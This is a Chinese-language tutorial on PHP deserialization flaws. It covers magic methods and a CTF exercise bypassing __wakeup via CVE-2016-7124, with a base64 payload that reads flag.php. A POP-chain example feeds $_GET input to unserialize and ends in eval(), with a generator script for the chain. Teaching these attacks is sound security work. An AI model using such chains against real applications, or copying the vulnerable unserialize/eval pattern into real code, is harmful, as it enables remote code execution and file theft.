php反序列化漏洞解析和研究

PHP序列化是什麼

serialize() //將一個對象轉換成一個字符串
unserialize() //將字符串還原成一個對象

序列化:將php值轉換爲可存儲或傳輸的字符串,目的是防止丟失其結構和數據類型。

反序列化:序列化的逆過程,將字符串再轉化成原來的php變量,以便於使用。

簡單來說,就是涉及php中的serialize與unserialize兩個函數。

通過序列化與反序列化我們可以很方便的在PHP中進行對象的傳遞。本質上反序列化是沒有危害的。但是如果用戶對數據可控那就可以利用反序列化構造payload攻擊。

鋪墊知識

示例序列化

<?php
    class testclass
    {
        private $flag = "flag{233}";
        public $name = "baba";
        public $age = "18";

        function Info()
        {
            echo '輸出'.$this->name.' '.$this->age;
        }
    }

    $test = new testclass();
    $test->name = 'zhaibaba';
    $test ->age ='18';
    echo "\n";
    echo $test->Info();
    echo "\n";
    echo "\n";
    $data = serialize($test);
    echo "序列化\n";
    echo $data;
    echo "\n";

輸出
輸出zhaibaba 18

序列化
O:9:“testclass”:3:{s:15:" testclass flag";s:9:“flag{233}”;s:4:“name”;s:8:“zhaibaba”;s:3:“age”;s:2:“18”;}

O:9:"testclass" 代表Object(對象) 9個字符:testclass
:3對象屬性個數爲3
{}中爲屬性字符數:屬性值
s:15:" testclass flag" 爲 string類型 private私有屬性 會加類名 public 共有的 直接屬性名

public權限就是正常的變量權限,一般聲明的變量權限均爲public
protected權限是私有權限,即只能在類內使用,子類可以繼承這個變量
private權限也是私有權限,比protected權限更似有一些,只能在本類內使用,子類不能繼承

反序列實例

	$un = unserialize($data);
    # $un = unserialize('O:9:"testclass":2:{s:4:"name";s:8:"zhaibaba";s:3:"age";s:2:"18";}');
    echo "反序列化\n";
    var_dump($un);

反序列化爲一個對象了
在這裏插入圖片描述

魔術方法

魔術方法:在php中以兩個下劃線字符(__)開頭的方法,方法名都是PHP預先定義好的,之所以稱爲魔術方法
就是這些方法不需要顯示的調用而是由某種特定的條件觸發執行。

在利用對PHP反序列化進行利用時,經常需要通過反序列化中的魔術方法,檢查方法裏有無敏感操作來進行利用。

常見方法
__constuct: 構建對象的時被調用

__destruct: 明確銷燬對象或腳本結束時被調用

__wakeup: 當使用unserialize時被調用,可用於做些對象的初始化操作

__sleep: 當使用serialize時被調用,當你不需要保存大對象的所有數據時很有用

__call: 調用不可訪問或不存在的方法時被調用

__callStatic: 調用不可訪問或不存在的靜態方法時被調用

__set: 當給不可訪問或不存在屬性賦值時被調用

__get: 讀取不可訪問或不存在屬性時被調用

__isset: 對不可訪問或不存在的屬性調用isset()empty()時被調用

__unset: 對不可訪問或不存在的屬性進行unset時被調用

__invoke: 當以函數方式調用對象時被調用

__toString: 當一個類被轉換成字符串時被調用

__clone: 進行對象clone時被調用,用來調整對象的克隆行爲

__debuginfo: 當調用var_dump()打印對象時被調用(當你不想打印所有屬性)適用於PHP5.6版本

__set_state: 當調用var_export()導出類時,此靜態方法被調用。用__set_state的返回值做爲var_export的返回值

比較重要的方法

__sleep()

serialize() 函數會檢查類中是否存在一個魔術方法 __sleep()。如果存在,該方法會先被調用,然後才執行序列化操作。此功能可以用於清理對象,並返回一個包含對象中所有應被序列化的變量名稱的數組。如果該方法未返回任何內容,則 NULL 被序列化,併產生一個 E_NOTICE 級別的錯誤。

對象被序列化之前觸發,返回需要被序列化存儲的成員屬性,刪除不必要的屬性。

__wakeup()

unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用 __wakeup
方法,預先準備對象需要的資源。

預先準備對象資源,返回void,常用於反序列化操作中重新建立數據庫連接或執行其他初始化操作。

<?php 
class Caiji{
    public function __construct($ID, $sex, $age){
        $this->ID = $ID;
        $this->sex = $sex;
        $this->age = $age;
        $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
    }

    public function getInfo(){
        echo $this->info . '<br>';
    }
    /**
     * serialize前調用 用於刪選需要被序列化存儲的成員變量
     * @return array [description]
     */
    public function __sleep(){
        echo __METHOD__ . '<br>';
        return ['ID', 'sex', 'age'];
    }
    /**
     * unserialize前調用 用於預先準備對象資源
     */
    public function __wakeup(){
        echo __METHOD__ . '<br>';
        $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
    }
}

$me = new Caiji('twosmi1e', 20, 'male');

$me->getInfo();
//存在__sleep(函數,$info屬性不會被存儲
$temp = serialize($me);
echo $temp . '<br>';

$me = unserialize($temp);
//__wakeup()組裝的$info
$me->getInfo();

?>

結果
在這裏插入圖片描述

__toString()

__toString() 方法用於一個類被當成字符串時應怎樣迴應。
例如 echo $obj; 應該顯示些什麼。此方法必須返回一個字符串,
否則將發出一條 E_RECOVERABLE_ERROR 級別的致命錯誤。

簡單的說就是 把對象用字符串表示,就自動調用這個

<?php
class Caiji{
    public function __construct($ID, $sex, $age){
        $this->ID = $ID;
        $this->sex = $sex;
        $this->age = $age;
        $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
    }

    public function __toString(){
        return $this->info;
    }
}

$me = new Caiji('zhaibaba', 20, 'male');
echo '__toString:'. '<br>';
echo $me.'<br>';

結果
在這裏插入圖片描述

反序列化對象注入

繞過__wakeup()方法

<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString(){
    return '' ;
  }

 ?> #<!--key in flag.php-->

分析一下源碼,__destruct方法中show_source(dirname (__FILE__).'/'.$this ->file);會讀取file文件內容,我們需要利用這裏來讀flag.php,思路大概就是構造序列化對象然後base64編碼傳入,經過unserialize將file設爲flag.php,但是__wakeup會在unserialize之前執行,所以要繞過這一點。

這裏就要用到CVE-2016-7124漏洞,當序列化字符串中表示對象屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行

構造序列化對象:O:5:“SoFun”:1:{S:7:"\00*\00file";s:8:“flag.php”;}
繞過__wakeup:O:5:“SoFun”:2:{S:7:"\00*\00file";s:8:“flag.php”;}

注意:因爲file是protect屬性,所以需要加上\00*\00。再base64編碼。
payload:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

POP鏈構造

POP:面向屬性編程

面向屬性編程(Property-Oriented Programing) 用於上層語言構造特定調用鏈的方法,與二進制利用中的面向返回編程(Return-Oriented Programing)的原理相似,都是從現有運行環境中尋找一系列的代碼或者指令調用,然後根據需求構成一組連續的調用鏈。在控制代碼或者程序的執行流程後就能夠使用這一組調用鏈來執行一些操作。

基本概念

在二進制利用時,ROP 鏈構造中是尋找當前系統環境中或者內存環境裏已經存在的、具有固定地址且帶有返回操作的指令集,而 POP 鏈的構造則是尋找程序當前環境中已經定義了或者能夠動態加載的對象中的屬性(函數方法),將一些可能的調用組合在一起形成一個完整的、具有目的性的操作。
二進制中通常是由於內存溢出控制了指令執行流程,而反序列化過程就是控制代碼執行流程的方法之一,前提:進行反序列化的數據能夠被用戶輸入所控制。

POP鏈利用

一般的序列化攻擊都在PHP魔術方法中出現可利用的漏洞,因爲自動調用觸發漏洞,但如果關鍵代碼沒在魔術方法中,而是在一個類的普通方法中。這時候就可以通過構造POP鏈尋找相同的函數名將類的屬性和敏感函數的屬性聯繫起來。

訓練

<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function test1()
    {
        $this->mod1->test2();
    }
}
class funct
{
    public $mod1;
    public $mod2;
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    }
}
class string1
{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public $zhaibaba;
    public function get_flag()
    {
        eval($this->zhaibaba);
    }
}
$a = $_GET['string'];
unserialize($a);
?>

可以看到需要執行GetFlag類中的get_flag()函數,這是一個類的普通方法。要讓這個方法執行,需要構造一個POP鏈。

  1. string1中的__tostring存在$this->str1->get_flag(),分析一下要自動調用__tostring()需要把類string1當成字符串來使用,因爲調用的是參數str1的方法,所以需要把str1賦值爲類GetFlag的對象。
  2. 發現類func中存在__invoke方法執行了字符串拼接,需要把func當成函數使用自動調用__invoke然後把mod1string1mod1賦值爲string1的對象與mod2拼接。
  3. 在funct中找到了函數調用,需要把mod1賦值爲func類的對象,又因爲函數調用在__call方法中,且參數爲$test2,即無法調用test2方法時自動調用 __call方法;
  4. 在Call中的test1方法中存在this>mod1>test2();this->mod1->test2();,需要把mod1賦值爲funct的對象,讓__call自動調用。
  5. 查找test1方法的調用點,在start_gg中發現this>mod1>test1();this->mod1->test1();,把mod1賦值爲start_gg類的對象,等待__destruct()自動調用。

payload:

<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new Call();//把$mod1賦值爲Call類對象
    }
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new funct();//把 $mod1賦值爲funct類對象
    }
    public function test1()
    {
        $this->mod1->test2();
    }
}

class funct
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new func();//把 $mod1賦值爲func類對象

    }
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new string1();//把 $mod1賦值爲string1類對象

    }
    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    }
}
class string1
{
    public $str1;
    public $zhaibaba;
    public function __construct()
    {
        $this->str1= new GetFlag();//把 $str1賦值爲GetFlag類對
        $this->str1->zhaibaba = 'phpinfo();';
    }
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public $zhaibaba;
    public function get_flag()
    {
        1;
    }
}


$payload = new start_gg();
echo urlencode(serialize($payload));


#

總結一下PHP反序列化的挖掘思路,首先進行反序列化的數據點是用戶可控的,然後反序列化類中需要有魔術方法,魔術方法中存在敏感操作,或者魔術方法中無敏感操作,但是其對象調用了其他類中的同名函數,可以通過構造POP鏈利用。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章